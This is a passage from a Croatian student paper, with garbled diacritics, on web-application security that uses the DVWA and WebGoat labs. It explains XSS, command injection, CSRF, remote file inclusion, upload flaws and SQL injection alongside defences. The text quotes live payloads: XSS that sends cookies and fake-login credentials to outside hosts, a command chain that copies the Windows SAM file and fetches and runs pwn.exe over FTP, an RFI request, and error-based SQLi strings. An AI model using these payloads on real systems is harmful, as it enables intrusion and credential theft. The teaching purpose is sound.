5.1.2. Cross site scripting XSS je propust koji se javlja kad neka web aplikacija dobije zlonamjerne podatke od korisnika, u najeem sluaju taj zahjtev sadri JavaScript, HTML, VBScript ili neki drugi kod. Jednom kad web aplikacija zaprimi takav kod prosljeuje ga korisnku gdje njegov web browser izvri zlonamjerni kod.

Dvije najee metode XSS napada:

Prva metoda je kada korisnik poalje web aplikaciji zlonamjerni kod i ona ga spremi negdje na serveru (u neku bazu, neki fajl ili nesto tree) i svaki put kada neki korisnik uita odreenu stranicu web aplikacija sa servera uitava zlonamjerni kod i alje ga korisniku koji je posjetio tu stranicu. Druga metoda je da se "zlonamjerni kod" ne pohranjuje na serveru nego ga korisnik unosi nekim putem u web aplikaciju i ona mu ga proslijeuje natrag, te se kod zatim izvrava.

Prva metoda je korisnija od ove druge jer je laka za exploitati. U drugoj metodi moramo natjerati na neki nain rtvu da ona sama unese zlonamjerni kod koji e se izvriti na rtvinom raunalu i poslati podatke nama.

Vrste napada:
65

http://os2.zemris.fer.hr/ns/malware/2007_zelanto/sql.html, (uitano, 7.1.2011.)

83

Kraa kolaia (session data) Instaliranje malware-a/trojana Preusmjeravanje na drugu stranicu (phishing)

Mijenjanje sadraja stranice

U DVWA aplikaciji klikom na XSS tab nam se otvara prozor s okvirom za unos koji nas pita What's your name?. Ako u taj prozor upiem svoje ime, on mi kao rezultat izbaci Hello Tomislav to vidimo na sljedeoj slici.

Slika 5.2. XSS U taj prozor moemo unositi razne skripte da testiramo ranjivost web aplikacije. Unijet emo skriptu koja e nas preusmjeriti na stranicu naeg fakulteta. Skripta e izgledati ovako: <script>window.location = "http://www.foi.hr"</script> Unosom te skripte i klikom na submit preusmjerava nas na stranice Fakulteta organizacije informatike.

Unijet

emo

jo

skriptu

za

izradu

kolaia

koja

glasi

ovako:

<script>document.write(document.cookie); </script> Izvoenje ove skripte nam daje kao rezultat: Hello security=low;

PHPSESSID=jdjp5vjgbv9j74v12qauc5lpm3 84

Evo i jedan primjer naprednije skripte koja omoguava lanu prijavu: <script>username=prompt('Please enter your username',' '); password=prompt('Please enter your password',' '); document.write("<img src=\"http://example.com/listen.php? username="+username+"&password="+password+"\">");</script>

Naravno, to smo sve radili na low razini sigurnosti. Kad stavimo high razinu sigurnosti onda nam samo ispie Hello i skriptu kako smo je i unijeli. Razliku moemo vidjeti u izvornom kodu pojedine razine sigurnosti:

Low razina sigurnosti: <?php

if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){

$isempty = true;

} else {

echo '<pre>'; echo 'Hello ' . $_GET['name']; echo '</pre>'; }

?>

High razina sigurnosti: <?php

if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){

$isempty = true; 85

} else {

echo '<pre>'; echo 'Hello ' . htmlspecialchars($_GET['name']); echo '</pre>';

} ?>

Rijeenja: Cross site scripting se postie kada napada preko legitimnog Web posluitelja poalje web pregledniku rtve napada stranicu koja sadri zlonamjernu skriptu. Ta skripta e se izvesti koristei sve dozvole kao legitimna skripta sa legitimnog posluitelja. Razvojni programeri mogu zatititi svoje web stranice tako da osiguraju da dinamiki generirana stranica ne sadri neeljene oznake (engl. tag).

Da bi smanjio rizik XSS napada korisnik moe onemoguiti izvoenje skriptnih jezika u svom web pregledniku to prua najbolju zatitu, ali ima za posljedicu smanjenje funkcionalnosti. Takoer, korisnik moe slijediti linkove iskljuivo preko naslovnice Web stranice koja ga zanima to e znatno smanjiti njegovo izlaganje ovoj prijetnji uz zadravanje funkcionalnosti preglednika.

Meutim, korisnika rjeenja nisu nikad potpuna rjeenja. Ostaje na razvojnim programerima da modificiraju svoje stranice kako bi eliminirali probleme ove vrste. To se moe postii ispravnim filtriranjem i potvrivanjem ispravnosti dobivenog ulaza i pravilnim kodiranjem ili filtriranjem izlaza koji se vraa korisniku.

Stvaranje web stranice koja nije ranjiva na XSS napade ukljuuje napore razvojnih programera, administratora posluitelja i proizvoaa preglednika. Iako su gore navedena rjeenja djelotvorna u smanjenju rizika od XSS napada, ona nisu potpuna rjeenja. Najbolje je imati na umu da se sigurnost web aplikacije mora konstantno provjeravati i unaprjeivati.

86

Filtriranje Osnova ovog pristupa je da ne treba nikad vjerovati korisnikom ulazu i da je potrebno uvjek filtrirati posebne znakove (engl. metacharacters) koji su definirani u HTML specifikaciji. Svako ulazno polje, ukljuujui parametre linka, mora biti provjereno da ne sadre oznake skripti (engl. script tags). Ako se pronau nedozvoljeni znakovi, ulaz se odbacuje i na taj nain se sprijeava prezentiranje zlonamjernog HTML-a u korisnikovom web pregledniku. Filtriranje ulaza nije toliko uinkovito zato to se dinamiki sadraj moe ubaciti u bazu podataka Web stranice raznim metodama, a ne samo koristei HTTP. U tom sluaju, Web posluitelj nee vidjeti podatke kao dio ulaza pa e oni ostati iskvareni. Preporuuje se obaviti filtriranje izlaza prije nego se preda dinamikoj stranici.

Kodiranje Cross site scripting napadi mogu se izbjei ako Web posluitelj adekvatno osigurava da se generirane stranice propisno kodiraju nebili se izbjeglo nenamjeravano izvoenje skripti. Svaki znak u ISO-8859-1 spscifikaciji se moe kodirati koristei njegovu numeriku vrijednost. Tko npr. < i > se mogu napisati kao &lt i &gt, razmak se moe napisati kao %20, znakovi ( i ) kao &#40 i &#41 itd. Openito govorei, kodiranje se preporua zato to nije potrebno odluiti koji znakovi e se zabraniti, a koji dozvoliti. Naalost, kodiranje svih nepouzdanih podataka moe zauzeti veliku koliinu resursa i usporiti prefomanse nekih web posluitelja.66

5.1.3. Command execution Veina skriptnih jezika omoguuju naredbe da prou na naredbeni redak. To je uobiajeno loa ideja.

66

http://os2.zemris.fer.hr/ns/malware/2007_zelanto/xss.html, uitano 7.1.2011.

87

Slika 5.3. Suelje s naredbenim retkom za ping IP adrese

Primjeri naredbi: && dir && regsvr32 /s evilfile.dll && wmic process list && wmic useraccount list && copy c:\WINDOWS\repair\sam && copy

c:\WINDOWS\repair\system.bak && mkdir C:\iaclub && echo open ftp.codecrypt.com> C:\iaclub\pwn.txt && echo user iaclubdemo>> C:\iaclub\pwn.txt && echo failboat>>

C:\iaclub\pwn.txt && echo binary>> C:\iaclub\pwn.txt && echo get pwn.exe>> C:\iaclub\pwn.txt && echo quit>> C:\iaclub\pwn.txt && ftp s:C:\iaclub\pwn.txt && C:\iaclub\pwn.exe

88

Slika 5.4. Passwd file, ali nema shadow file Primjeri izvornih kodova za low i high razine zatite: Low <?php if( isset( $_POST[ 'submit' ] ) ) { $target = $_REQUEST[ 'ip' ]; // Determine OS and execute the ping command. if (stristr(php_uname('s'), 'Windows NT')) { $cmd = shell_exec( 'ping ' . $target ); echo '<pre>'.$cmd.'</pre>'; } else { $cmd = shell_exec( 'ping -c 3 ' . $target ); echo '<pre>'.$cmd.'</pre>'; } } 89

?> High <?php if( isset( $_POST[ 'submit' ] ) ) { $target = $_REQUEST["ip"]; $target = stripslashes( $target );

// Split the IP into 4 octects $octet = explode(".", $target); // Check IF each octet is an integer if ((is_numeric($octet[0])) && (is_numeric($octet[1])) && (is_numeric($octet[2])) && (is_numeric($octet[3])) && (sizeof($octet) == 4) ) { // If all 4 octets are int's put the IP back together. $target = $octet[0].'.'.$octet[1].'.'.$octet[2].'.'.$octet[3];

// Determine OS and execute the ping command. if (stristr(php_uname('s'), 'Windows NT')) { $cmd = shell_exec( 'ping ' . $target ); echo '<pre>'.$cmd.'</pre>'; } else { $cmd = shell_exec( 'ping -c 3 ' . $target ); echo '<pre>'.$cmd.'</pre>'; } } else { echo '<pre>ERROR: You have entered an invalid IP</pre>'; }

} 90

?> Vidimo da high razina sigurnosti ima dosta vee kontrole u samom izvornom kodu nego low razina. Rijeenja:

Vezanje parametara Provoditi najmanje privilegije Ne koristiti dinamika suelja upita Ne koristiti jednostavne izlazne funkcije

5.1.4. Cross site request forgery (CSRF) To je napad gdje rtvin preglednik izdaje komandu web aplikaciji sa CSRF propustom. Preglednici koji automatski ukljuuju autentikacijske podatke korisnika (ID sesije, IP adresu, vjerodajnice sa Windows domene, ) sa svakim zahtjevom aktiviraju taj propust. Uinak na tehnologiju i poslovanje je pokretanje transakcija (prijenos novanih sredstava, zatvaranje account-a), pristup osjetljivim podacima, promjena account detalja i sl.

Princip rada je sljedei: napada postavlja zamku na nekom Internet site-u ili putem e-mail poruke (na stranicama je ukljuen HTML tag koji sadri napad na site sa CSRF propustom) dok je logirana na site-u koji ima detektiran CSRF propust, rtva posjeuje i napadaev site (HTML tag koji sadri napad izvrava GET zahtjev sa vjerodajnicama rtve na site-u sa CSRF propustom) site sa CSRF propustom obrauje zahtjev jer je rtva legitimni i logiran korisnik

U DVWA aplikaciji klikom na CSRF nam se pojavljuje sljedei prozor za low razinu zatite:

91

Slika 5.5. Suelje CSRF ranjivosti za low razinu zatite

Slika 5.6. Suelje CSRF ranjivosti za high razinu zatite

Iz slika 4 i 5 vidimo da se radi o promjeni lozinke administratora. Vidimo da se kod high razine zatite pojavljuje dodatni prozor za potvrdu unesene nove lozinke za razliku od low razine zatite. To moemo vidjeti i iz samih izvornih kodova za pojedinu razinu zatite. Low <?php if (isset($_GET['Change'])) {

92

// Turn requests into variables $pass_new = $_GET['password_new']; $pass_conf = $_GET['password_conf'];

if (($pass_new == $pass_conf)){ $pass_new = mysql_real_escape_string($pass_new); $pass_new = md5($pass_new); $insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';"; $result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' ); echo "<pre> Password Changed </pre>"; mysql_close(); } else{ echo "<pre> Passwords did not match. </pre>"; } } ?> High <?php if (isset($_GET['Change'])) { // Turn requests into variables $pass_curr = $_GET['password_current']; $pass_new = $_GET['password_new']; $pass_conf = $_GET['password_conf']; // Sanitise current password input $pass_curr = stripslashes( $pass_curr ); $pass_curr = mysql_real_escape_string( $pass_curr ); $pass_curr = md5( $pass_curr ); // Check that the current password is correct $qry = "SELECT password FROM `users` WHERE user='admin' AND password='$pass_curr';"; $result = mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>' ); 93

if (($pass_new == $pass_conf) && ( $result && mysql_num_rows( $result ) == 1 )){ $pass_new = mysql_real_escape_string($pass_new); $pass_new = md5($pass_new); $insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';"; $result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' ); echo "<pre> Password Changed </pre>"; mysql_close(); } else{ echo "<pre> Passwords did not match or current password incorrect. </pre>"; } } ?> Vidimo da je razlika u kodu oko provjere trenutne lozinke.

Rijeenja:

Za osjetljive podatke i vrijednosne transakcije, koristiti ponovnu ovjeru ili koristiti transakcijska prijavljivanja za osiguranje originalnosti zahtjeva Izbjegavanje koritenja GET zahtjeva (URL) za osjetljive podatke ili vrijednosne transakcije POST sam je nedovoljna zatita Dodavanje CAPTCHA i dodatnih vrijednosti skrivene od elementa

94

Ostale vrste napada, kao i ove spomenute u ovom dijelu projekta su opisane i u drugim dijelovima projekta kao i same metode provjere i neutraliziranja istih.

Za kvalitetnu zatitu bitno je: Ugraditi u aplikacije bolju provjeru uneenih podataka u formama i parametara u URL-ovima Zatititi enkripcijom sve osjetljive podatke bilo u transportu bilo u pohrani Instalirati specijalizirane ureaje koji e prepoznavati i sprjeavati iskoritavanja propusta u web aplikacijama Web Application Firewall

95

6. DVWA
DVWA (engl. Damn Vulnereable Web Applicatiom) je aplikacija napisana u PHP programskom jeziku te za svoj rad koristi MySQL bazu podataka. Osnovna svrha ove aplikacije je da omogui sigurnosnim profesionalcima legalnu okolinu unutar koje e moi izotravati svoje vjetine, web developerima omoguuje bolje shvaanje procesa zatite web stranica te profesorima te studentima prua mogunost uenja o sigurnosti web aplikacija unutar raunalnog laboratorija.67

Ova aplikacija je publicirana pod licencom Creative Commons AttributionShareAlike 2.0 to znai da je ovu aplikaciju mogue kopirati, distribuirati te mijenjati, no ukoliko se modificirana aplikacija bude publicirala pod drugaijim imenom, potrebno je zadrati isti tip licence te priznati i oznaiti autorstvo originalnog djela.

Na ovaj nain, DVWA aplikaciju mogu koristiti svi zainteresirani pojedinci bez straha od krenja autorskih prava. Ova aplikacija se ne preporua instalirati na internetski posluitelj jer ukoliko zlonamjerni korisnik pronae da na vaem posluitelju postoji ova aplikacija, moe prouzroiti veliku tetu podacima.

67

Prevedeno sa engleskog sa web stranice http://www.dvwa.co.uk - uitano 4.1.2011.

96

6.1. Metode Damn Vulnerable Web Application (DVWA) aplikacije

Ova web aplikacija sadri nekoliko metoda koje simuliraju odreeni sigurnosni propust u dizajnu i izradi web stranica. 6.1.1. Brute Force Sloene, odnosno vrste lozinke temelj su svake efektivne sigurnosne strategije. Lozinkama se zatiuje podruje koje je od posebne vanosti i koje nije doputeno za koritenje obinim korisnicima.

Brute Force je metoda upada probijanjem lozinki na nain da se pokua probiti lozinka usporeivanjem svake mogue kombinacije permutacije znakova potencijalne lozinke sve dok se ne pronae lozinka koja omoguava ulazak u lozinkom zatieno podruje.

Mnoge osobe stavljaju jednostavnost lozinke ispred kvalitete lozinke pa su na taj nain odlina meta osobama koje se bave probijanjem tuih lozinki, odnosno osobama koje uz pomo razliitih programa, koji nose naziv password crackers probijai lozinki, omoguuju pronalazak lozinki drugih osoba koje im omoguuju da se prijave sa tuim identifikacijskim podacima. Neki password cracker programi koriste popise rijei kako bi se probio sustav, a ti popisi rijei se sastoje od najee koritenih imena korisnika (ukoliko nije poznato ime korisnika sustava koji se eli probiti) te popisa najeih lozinki koje su sastavljene od slova, brojeva i posebnih znakova. Na taj nain password cracker programi sa odgovarajuem korisnikom imenu povezuju lozinku iz popisa lozinki te provjeravaju je li sustav probijen.

Na web stranici http://sectools.org/crackers.html se moe pronai kolekcija password cracker programa koji se mogu koristiti za uspjeno rjeavanje Brute Force zadatka DVWA aplikacije. Neki od najpoznatijih programa za brute force su: Cain and Abel, John the Ripper i THC Hydra.

97

6.1.2. Command Execution Udaljeno pozivanje naredbi (engl. Remote Code Execution) je jedna od moguih ranjivosti web stranica, a sastoji se u tome to da zlonamjerni korisnik izvri programske naredbe pod privilegijama administratora operativnog sustava na kojem se izvrava web stranica, a odvija se bez znanja autora web stranice koja je napadnuta. Ovaj sigurnosni propust moe prouzroiti ozbiljne probleme funkcioniranju web stranice koja je napadnuta. Napada na ovaj nain moe upravljati raunalom na nain koji eli , a koje ima ovakav tip sigurnosnog propusta (moe upravljati korisnikim raunima na operativnom sustavu i bazi podataka i sl).

Na novijim Windows operacijskim sustavima postoji sustav Data Execution Prevention (DEP) koji sprjeava izvravanje naredbi koje se ne nalaze u memorijskom prostoru aplikacija. Na taj nain se sprjeava pokretanje zlonamjernih aplikacija sa pokretanjem Windows-a, a koje se smjeste u memorijske lokacije predviene za Windows programe ili sline autorizirane programe. No dolaskom Windows SP2 i DEP-a, ovaj sigurnosni propust je neutraliziran, na Windows operacijskim sustavima. 6.1.3. Cross Site Request Forgery (CSRF) Cross Site Request Forgery poznat kao i CSRF (Sea Surf), XSRF, Session Riding, napad jednim klikom (engl. one-click attack) je oblik malicioznog iskoritavanja neke web stranice kod koje se nedoputene naredbe alju od strane korisnika kojem ta web stranica vjeruje. Premda su metode CSRF i XSS poprilino sline, osnovna razlika izmeu tih metoda je sadrana u tome to metoda CSRF iskoritava povjerenje koje ima ta web stranica prema nekom korisniku. Veina metoda koje prua web stranica se mogu iskoristiti preko ovog propusta. Na primjer, mogue je postavljati nove postove na forum, pretplatiti se na newletter, dodavati nove korisnike i sl.

Primjer naredbe koja se moe staviti kao novi forum post i koja moe pokrenuti neku naredbu unutar foruma (npr. moe pokrenuti naredbu za postavljanje administratorskih privilegija na nekog od korisnika): 98

<img src="http://host/?command"> <iframe src="http://host/?command">

Nain na koji se web aplikacije mogu zatititi od ovog naina napada jesu: Ispitivanjem zaglavlja da dobije informacija od koje web stranice se pokree zahtjev prema odreenoj web stranici unutar direktorija web aplikacije (engl. referer), odnosno ispitivanje je li zahtjev pokrenut iz neke web stranice unutar cijele web aplikacije Smanjiti inicijalno vrijeme aktivnosti sesije Postavljanjem upita za ponovno upisivanje lozinke kod osjetljivih operacija

6.1.4. File inclusion Remote File Inclusion (RFI) je oblik ranjivosti web aplikacije kojom je omoguen napad sa udaljenog raunala. RFI prua napadaima mogunost da pokreu svoj vlastiti maliciozni kod na ranjivom web serveru. Napadai pokreu maliciozni kod na ranjivom serveru na nain da taj maliciozni kd predstave kao legitimnu skriptu koja bi se trebala nalaziti na ranjivom web serveru.

Do ovog tipa ranjivosti dolazi iz razloga to se validacija ulaznih parametara web stranice zaboravlja postaviti ili se postavlja na nain koji ostavlja sigurnosni propust. Web stranica koja sadrava ovakav sigurnosni propust predstavlja okolinu u kojoj napada nesmetano moe pokretati maliciozni kod te u konanici preuzeti kontrolu nad posluiteljem na kojem se ta web stranica izvrava.

Kako bi se sprijeio sigurnosni propust ovog tipa, potrebno je provjeriti sadre li uneeni parametri (engl. input) pogrene znakove (poput zagrada i sl.) ili referencu na datoteku koja se nalazi na nekoj udaljenoj lokaciji.

Tipian primjer RFI, napisan u PHP programskom jeziku:

<?php $format = 'convert_2_text'; if (isset( $_GET['FORMAT'] ) )

99

{ $format = $_GET['FORMAT]; } include( $format . '.php' ); ?>

Kako bi iskoristio ranjivost web aplikacije, napada e pokrenuti sljedei zahtjev:

GET /?FORMAT=http://www.malicuos_site.com/hacker.txt? HTTP/1.1 Host: www.test.com User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Na taj e nain PHP skripta ukljuiti sadraj maliciozne datoteke hacker.txt u svoju radnu okolinu.

6.1.5. XSS Cross-site scripting (XSS) je oblik ranjivosti web aplikacije kod koju napada koristi kako bi postavio skriptu sa klijentske strane, iji e uinak biti vidljiv svim posjetiteljima web stranice. XSS je sigurnosni propust koji se najee javlja kada neka web aplikacija dobije maliciozne podatke od napadaa koji su, u najeim sluajevima, JavaScript, HTML, Flash, VBScript ili neki drugi programski kd. Jednom kada web stranica zaprimi takav kd, rezulat izvravanja kda prosljeuje napadau.

XSS se najee koristi kako bi se dolo do kolaia (engl. cookie) korisnika prijavljenih u sustav ili za dobivanje vrijednosti sesijske varijable (engl. session).

XSS napadi se mogu podijeliti u dvije kategorije: Stored XSS Reflected XSS

100

Stored XSS napadi su napadi kod kojih je maliciozni programski kod kojeg je umetnuo napada u ranjivu web stranicu, spremljen na serveru na kojem se nalazi ranjiva web stranica, u bazu podataka (bilo da se radi o forumu, listi posjetitelja i sl.). Na taj nain se svaki puta kad neki korisnik uita web stranicu kod koje je iskoriten XSS propust, server uitava maliciozni kod i alje ga korisniku koji je posjetio tu web stranicu.

Kod Reflected XSS napada, zlonamjerni programski kd se ne pohranjuje na web serveru, ve ga napada unosi na neki drugi nain u web aplikaciju i ona mu ga prosljeuje natrag, te se programski kd zatim izvrava. Kod ove metode obian korisnik upisuje podatke u formu kod napadnute web stranice, ali se ti podaci umjesto na web server koji sadri web aplikaciju iji je dio napadnuta web stranica, podaci se alju napadaevom web serveru, odnosno napadaevoj web stranici, koja je identina pravoj web stranici, zbog ega korisnik nema dojam da je dolo do velikog sigurnosnog propusta.

Ukoliko web aplikacija ne provjerava ulazne podatke, vrlo lako je mogue doi do kolaia (engl. cookie) autentificiranog korisnika:
<SCRIPT type="text/javascript"> var adr = '../evil.php?cakemonster=' + escape(document.cookie); </SCRIPT>

Ovaj programski kd e poslati kolai na web adresu skripte evil.php u parametar cakemonster.

6.1.6. Unrestricted File Upload Omoguavanje korisnicima da postave svoje datoteke na web server, otvorilo je vrata zlonamjernim korisnicima da u toj funkcionalnosti pronau nain za kompromitaciju web servera.

101

Do znaajnih problema uzrokovanih ovim sigurnosnim propustom dolazi zbog manjka ispravnih naina ispitivanja sadraja koji se postavlja na web server (engl. upload).

Postoji nekoliko naina na koje se poveava stupanj sigurnosti da sadraj koji se postavlja na web server ne sadri maliciozni kd: Ispitivanje tipa datoteke koji se postavlja na web server na ovaj nain se sugerira kreiranje liste tipova datoteka koje se slobodno mogu postaviti na web server, provjeravanje MIME tipa, postavljanje minimalne i maksimalne veliine datoteke, spremanje datoteka koje su postavili korisnici na web server u posebni direktorij nad kojim nisu postavljena doputenja za pokretanje aplikacija Postavljanje nasuminih naziva datoteka i direktorija postavljanje nasuminih naziva datoteka koje korisnik eli spremiti na web server i spremanje istih u nasumino kreirane direktorije, a koritenje datoteka se sastoji u tome da je u bazi podataka zabiljeeno koja datoteka se nalazi u kojem direktoriju. Sigurnost direktorija web aplikacije postavljanje datoteka u direktorij koji ne sadri datoteke web aplikacije. Skeniranje datoteka antivirusnim programom na web serveru Postavljanje i spremanje osjetljivih dokumenata u enkriptiranom obliku na ovaj nain se osjetljivi podaci moraju postaviti na web server u enkriptiranom obliku, preko SSL veze Postavljanje stranice sa grekama na stranicama koje prikazuju poruku o greci potrebno je postaviti ogranienje prikazivanja teksta greke, a najbolje bi bilo koritenje neke definirane web stranice koja e prikazivati tekst greke ovisno o vrsti greke Zapisivanje aktivnosti korisnika stvaranje zapisa (engl. logs) aktivnosti korisnika kako bi se moglo saznati koje su radnje izvravane nad web serverom i je li dolo do probijanja sigurnosti.

102

6.1.7. SQL Injection SQL injection je metoda koji omoguuje napadau web stranice koja ima ovaj sigurnosni propust, pristup bazi podataka iz koje napadnuta web stranica uzima podatke.

Do ovog tipa ranjivosti dolazi ukoliko napadnuta web stranica ne provjerava podatke koje je dobila od napradaa, ve tako na temelju neprovjerenih podataka pokree SQL upite koji mogu natetiti strukturi i podacima baze podataka.

Napadai uobiajeno provjeravaju je li web stranica ranjiva metodom SQL injection, upisivanjem parametara web stranici koja e vratiti poruku o greci u SQL upitu. Ukoliko napada primjeti kako postoji tekst greke o nevaljalom SQL upitu, on e na temelju ispravnog upita dodavati novi SQL upit preko kojeg e probijati sigurnost podataka napadnute baze podataka. Postavljanjem zabrane prikazivanja teksta greke, problem se ne rjeava u potpunosti ve je ranjiva za tzv. blind SQLi napade. 6.1.7.1. Blind SQL Injection Web aplikacije uobiajeno koriste SQL upite sa WHERE klauzulom, u koju se postavljaju daljnji parametri, kako bi se pretezentirao odreeni sadraj krajnjem korisniku. Dodavanjem dodatnih uvjeta u SQL upit prisiljavanjem web aplikacije da takav upit izvri, napadae moe ustanoviti je li web stranica ima blind SQLi ranjivost.

Na primjer, mnoge tvtke imaju web stranicu u koju dopisuju novosti iz poslovanja, promijenjene kataloge proizvoda i sl. Ovo je primjer web kataloga stranice neke tvrtke koja se bavi prodajom bicikala.
www.bicikli-strauss.hr/proizvod.php?id=2

SQL upit koji bi uzimao proizvod izgleda ovako:

SELECT * FROM proizvod WHERE id_proizvoda='2'

Na ovaj nain, podaci o drugom proizvodu bi web apliakcija preuzela iz baze podataka i prezentirala korisniku. 103

Ukoliko je ova web stranica ima SQLi ranjivost, napada e unijeti dodatne uvijete u gore navedeni upit, poput:
SELECT * FROM proizvod WHERE id_proizvoda='2 AND '1'='1'

Ukoliko se ovim upitom (AND '1'='1) ne prikae nikakva greka od strane web stranice, napada e zakljuiti da ta web stranica ima SQLi ranjivost.

Tada e napada upisivati puno sloenije i malicioznije upite kojima moe saznati naziv baze podataka, broj tablica u toj bazi podataka, nazive tih tablica, podatke koji su spremljeni u pojedninim tablicama i sl.

U sljedeem primjeru sloenijeg upita, na temelju SQLi ranjivosti web stranice koja je izraena u PHP programskom jeziku koristi MySQL bazu podataka, napada moe doznati naziv aktivne baze podataka:
www.bicikli-strauss.hr/proizvod.php?id=2' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(database() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

Na ovaj e nain modificirati SQL upit koji web stranica postavlja prema bazi podataka u sljedei oblik koji omoguuje napadau da sazna heksadecimalnu vrijednost naziva aktivne baze podataka, koju na vrlo lagan nain moe konvertirati u ASCII vrijednost i tako saznati naziv aktivne baze podataka:
SELECT * FROM proizvod WHERE id_proizvoda='2' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(database() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1'

104

Kod sljedeeg primjera je prikazano kako napada moe dobiti naziv aktivnog korisnika baze podataka (administatora), za SQL Server bazu podataka, a web stranica koja ima SQLi propust je napravljena u Java tehnologiji:
www.cipele-hlapic.hr/katalog.jsp?id=2 AND USER_NAME()='dbo'

Funkcija USER_NAME() je funkcija svojstvena SQL Server bazi podataka koja vraa naziv administratora baze podataka. Na slian se nain mogu dodavati novi zapisi u bazu podataka, modificirati postojei, odnosno, mogue je prouzroiti znatne tete podacima koje napadnuta baza podataka sadri, pogotovo ako se radi o bazi podataka neke institucije koja sadri povjerljive informacije ije kompromitiranje od strane tree osobe bi izazvalo sigurnosni incicent popraen smanjenjem kredibiliteta klijenta tvrtke koja je doivjela ovaj tip sigurnosnog napada.

6.1.7.2. Nain zatite od SQLi napada

Postoji nekoliko naina na koje programeri mogu zatititi web aplikacije od ove vrste napada: Odreivanje tipa, duljine, formata i raspona vrijednosti ulaznih podataka koje utjeu na pokretanje SQL upita. Na taj nain se sprjeava unoenje krivih podataka kao uvjete SQL upita Koritenje pohranjenih procedura (engl. stored procedures) za preuzimanje podataka i manipuliranje podacima iz baze podataka, ime se funkcionalnost manipuliranja podacima postavlja na server na kojem se nalazi baza podataka, a ne na web server koji prikazuje web stranicu. Postavljanje ogranienja korisnika nad bazom podataka, odnosno postavljanje korisnika koji imaju ogranien pristup bazi podataka. U idealnom sluaju, bilo bi poeljno da se dopusti izvravanje spremljenih procedura te zabranjivanje izravnog pristupa bazi podataka. Izbjegavanje prikaza detaljnog opisa greke nad SQL upitom, odnosno postavljanje neke web stranice koja e sluiti samo za prikaz da je dolo do greke.

105

6.2. WebGoat
WebGoat je namjerno ranjiva J2EE aplikacija, ija osnovna svrha je uenje sigurnosti web aplikacija kroz lekcije koje ova aplikacija nudi. Kod svake lekcije, polaznik mora pokazati razumijevanje sigurnosnog propusta koji rjeava kroz testiranje stvarnog propusta u WebGoat aplikaciji.

Na primjer, jedna lekcija trai od polaznika da koritenjem SQLi ukrade brojeve kreditnih kartica. Ova aplikacija prua realistino okruenje za uenje o sigurnosti web aplikacija, pruajui polaznicima objanjenja kako proi pojedine lekcije.68

Osnovna namjena ove aplikacije je pruanje interaktivne okolinu za uenje o sigurnosti web aplikacija na konkretnim primjerima.

68

Izvor: http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project uitano 8.1.2011.

106

6.2.1. Propusti kontrole pristupa (engl. Access Control Flaws) Propusti kontrole pristupa (engl. Access Control Flaws) se odnose na na naine na koji se ostavljaju propusti preko kojih neautorizirani korisnici mogu ui u sustav i mijenjati podatke zbog nedovoljno panje posveene ovom tipu sigurnosnog propusta prilikom izrade web aplikacije.

Neki od naina na koji se moe probiti u sustav ukljuuje zaobilaenje kontrolne sheme koja se temelji na doputenjima za pregled odreenog direktorija. Naime, ovaj sigurnosni propust prua mogunost napadau da pregledava podatke iz datoteke koja se nalazi izvan direktorija kojem moe pristupati koritenjem svojeg dodijeljenog doputenja. Sljedei nain koji moe sadravati sigurnosni propust je sustav pristupa temeljen na korisnikim privilegijama (engl. role based access control). Ovdje postoji nekoliko naina na koje je mogue da neautorizirani korisnici mijenjaju podatke.

Zaobilaenje prezentacijskog sloja kontrole pristupa kod kojeg se iskoritava ranjivost loe definiranog naina mijenjanja podataka o korisnicima, npr. mogue je izbrisati aktivnog korisnika zbog loe postavljenog ogranienja u funkciji koja poziva proceduru za brisanje korisnika.

Na slian nain se odvija zaobilaenje sloja kontrole pristupa temeljen na podacima, odnosno kod ovog oblika se iskoritava identifikacijski broj korisnika kako bi se iz aktivno prijavljenog korisnika, uz pomo identifikacijskog broja korisnika koji se eli izbrisati, izbrisao eljeni korisnik.

Pristup administracijskom dijelu aplikacije isto tako moe biti jedan od izvora sigurnosnog propusta.

107

6.2.2. Sigurnost AJAX-a (engl. AJAX Security) AJAX je skup metoda koje omoguuju da web aplikacije preuzimaju podatke sa servera na asinkroni nain, bez da se mijenja prikaz postojee web stranice.

AJAX sadrava mnogo potencijalnih sigurnosnih propusta poput propusta preko kojeg se uz pomo modifikacije DOM-a(engl. Document Object Model) na web pregledniku napada moe izvriti promijenjeni kd koji se nalazi na klijentskoj strani. Mogunost filtriranja podataka na klijentskoj strani, ukoliko su neki podaci sakriveni od prikaza na web pregledniku, ali su prikazani u HTML kdu web stranice, ime je sigurnost podataka ugroena.

Zatita pokretanja web stranica koje se ne nalaze na web serveru na kojem se nalazi web aplikacija je jo jedan oblik zatite sigurnosti.

Napad XML injection je oblik napada koji se temelji na tome da manipulira ili kompromitira logiku XML aplikacije ili servisa. 6.2.3. Autentifikacijski nedostaci (engl. Authentiation Flaws) Nedostaci u autentifikacijskom modulu koji omoguuje korisnicima da ponovno kreiraju novu lozinku ukoliko su staru zaboravili, mogu znatno smanjiti sigurnost same web aplikacije.

Kako bi se poveala sigurnost priliko autentifikacije i sprijeili propusti prilikom postupka kreiranja nove lozinke za korisnika koji je zaboravio svoju lozinku, potrebno je izbjegavati jednostavne naine provjere podataka preko skrivenih polja u HTML kdu, parametara u samom URL-u web stranice ili kolaia. Preporuljivo je koritenje sesijske varijable koja ima ogranieno vrijeme isteka. Isto tako, prilikom implementacije sustava za povrat lozinke potrebno je provjeravati je li prethodni korak u ovom procesu uspjeno proveden.

108

